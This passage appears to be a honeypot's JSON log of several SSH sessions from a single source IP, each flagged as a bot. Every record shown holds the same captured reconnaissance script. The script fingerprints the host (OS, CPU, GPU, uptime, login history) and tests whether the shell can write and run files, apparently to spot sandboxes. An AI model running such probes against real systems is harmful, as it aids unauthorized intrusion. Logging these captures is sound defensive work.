*xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T08:01:11.869646+00:00",
  "ended_at": "2026-08-20T08:01:12.020459+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "c77653b6-014f-4bcd-b111-be3bb631d734",
  "name": "downy-pleasant-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.49",
  "src_port": 57266,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T07:59:29.093168+00:00",
  "ended_at": "2026-08-20T07:59:29.199153+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "84d87030-c303-4857-906a-047a516d96ce",
  "name": "chilly-vivid-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.49",
  "src_port": 54324,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T07:57:51.426004+00:00",
  "ended_at": "2026-08-20T07:57:51.569089+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "ed219007-7498-4327-a7fb-84cfdb101f82",
  "name": "umber-cobalt-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.49",
  "src_port": 51418,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T07:56:16.236076+00:00",
  "ended_at": "2026-08-20T07:56:16.443407+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "e4fa9c61-4ab3-45c4-a539-92d67571fab7",
  "name": "mellow-lunar-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.49",
  "src_port": 48486,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T07:54:43.734847+00:00",
  "ended_at": "2026-08-20T07:54:43.843037+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "0518c0e0-83aa-4c33-9ef6-41239e1bbcb2",
  "name": "proud-humble-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.49",
  "src_port": 45578,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T07:53:02.131628+00:00",
  "ended_at": "2026-08-20T07:53:02.243091+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "e576f339-7f68-402d-b776-f39ecf8c719d",
  "name": "wandering-hidden-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.49",
  "src_port": 42672,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T07:51:05.368592+00:00",
  "ended_at": "2026-08-20T07:51:05.483605+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "7b516ca5-d0f9-4808-9fe0-4a1578bbcd68",
  "name": "eager-faded-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.49",
  "src_port": 39766,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
